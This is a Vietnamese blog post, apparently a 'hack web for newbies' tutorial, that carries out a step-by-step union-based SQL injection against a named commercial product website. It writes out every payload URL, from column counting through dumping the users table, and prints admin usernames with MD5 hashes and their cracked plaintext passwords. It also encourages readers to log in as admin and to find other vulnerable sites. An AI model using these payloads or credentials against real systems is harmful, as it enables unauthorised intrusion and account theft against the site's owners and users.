Bước 1: Tìm Đường link bị lỗi
+) Search đường link bi lỗi, ví dụ: http://www.konka.co.nz/productdetail.php?id=34
+) Kiểm tra đường link có bị lỗi hay ko bằng cách thêm dấu " ' ": http://www.konka.co.nz/productdetail.php?id=34’
+) Nó hiện ra lỗi nè: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
Bước 2: Xác Định Số Cột Có Trong Database
+) Chèn sau url đoạn mã : order by ….-- (… là giá trị số, thứ cho đến khi nào link bị lỗi thì dừng lại )
Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 order by 4--
+) Site vẫn không hiện ra lỗi, tiếp tục thử:
http://www.konka.co.nz/productdetail.php?id=34 order by 20--
Nó hiện ra lỗi rồi kìa: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26
+) Chứng tỏ số cột cần tìm nằm giữa 4 và 20, tiếp tục thử:
http://www.konka.co.nz/productdetail.php?id=34 order by 10--
+) Nó ko hiện ra lỗi, chứng tỏ số cột cần tìm nằm giữa 10 và 20, tiếp tục thử
http://www.konka.co.nz/productdetail.php?id=34 order by 15--
+) Vẫn không hiện ra lỗi, tiếp tục:
http://www.konka.co.nz/productdetail.php?id=34 order by 16—
Ah` ha, nó ra lỗi rồi: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26
Suy ra số cột có trong database là 16 -1 =15
Ok. Bắt đầu khai thác tiếp.
Bước 3: Exploit Tên Các Tables TRong Database:
+) Đánh sau link lỗi đoạn mã: and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
Mục đích: Tìm cột bị lỗi để khai thác từ cột đó khai thác ra toàn bộ database.
Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
+) Ok! Đã tìm ra cột bị lỗi: đó là số “ 3 ”, tiếp tục khai thác, chèn đoạn mã này vào số 3: unhex(hex(group_concat(table_name))) và câu lệnh sau số 15: from information_schema.tables
Ví du: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8 ,9,10,11,12,13,14,15 from information_schema.tables--
+) Nó đa hiện ra toàn bộ tên bảng có trong database:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN _USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEG ES,STATISTICS,TABLES, TABLE_CONSTRAINTS, TABLE_PRIVI LEGES, TRIGGERS,USER_PRIVILEGES,VIEWS,active_guests ,active_users,banned_users,tb_cat,tb_news,tb_news_ category,tb_page,tb_page_category,tb_product,tb_pr oduct_category,tb_product_model,tb_product_pixel,t b_product_price, tb_product_selection,tb_product_su b_category,tb_return,tb_return_comments,tb_return_ status,users
+) Ta chú ý thấy table có tên users sẽ chứa thông tin về tài khoản admin. Ok, ta sẽ khai thác table này:
Chèn đoạn mã này vào số 3: unhex(hex(group_concat(column_name))) và câu lệnh sau số 15: from information_schema.columns where table_name=0x7573657273--
lưu ý: 7573657273 chính là users ở dạng hex, ta có thể chuyển đổi từ dạng chuỗi sang dạng hex, bằng cách: vao google đánh:” convert string to hex” sẽ có link chuyển đổi ở đâu tiên: http://www.string-functions.com/string-hex.aspx
Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2, unhex(hex(group_concat(column_name))),4,5,6,7,8,9, 10,11,12,13,14,15 from information_schema.columns where table_name=0x7573657273--
Ok, ta đã có thông tin về tên các cột trong table “users”:
username,password,userid,userlevel,email,timestamp
Chúng ta đã thấy cột username và password, tiếp tục khai thác để lấy thông tin
Bước 4:
+) Chèn đoạn mã sau vào số 3: group_concat(username,0x3a,password) và sau số 15 sẽ là: from users-- (đây chính là table chứa username và password mà ta đang khai thác).
Lưu ý: 0x3a chính là ký tự “:” ngăn cách username và password, hoặc 0x2f hay 0x7c là “/”
Ví dụ: : http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,group_concat(username,0x3a,password),4,5,6,7,8 ,9,10,11,12,13,14,15 from users--
+) Ok, ta đã thấy username và password dưới dạng mã hóa md5:
admin:e10953e3b5537c441aa16defc89359b9,
admin1:e00c f25ad42683b3df678c61f42c6bda,
test1:147538da338b770 b61e592afc92b1ee6
+) Bây giờ ta giải mã password:
Vào link: http://www.md5cracker.org
Ta giải mã được password của username: admin là : linwood36
Username: admin1 là: admin1
Username: test1 là : testt
Bước 5:
+) Tìm link admin và đăng nhập vào ( đây là nhiệm vụ của bạn nhé!).( Bạn có thể sử dụng tool havij hoặc find admin)
Kết luận: +) Đây là dạng hack website lỗi SQL rất cơ bản, Mình muốn giới thiệu cho các newbie băt đầu làm quen với hack web, các pro trình độ cao rồi đừng có chém nhá
+)Còn các trang web lỗi SQl thì nhiêu vô kể, các bạn có thể tự tìm lấy, tất nhiên mỗi lỗi có những cách khai thác khác nhau.
By: ducdung.08clc
1 nhận xét:
thank anh nhieu nhe !
Đăng nhận xét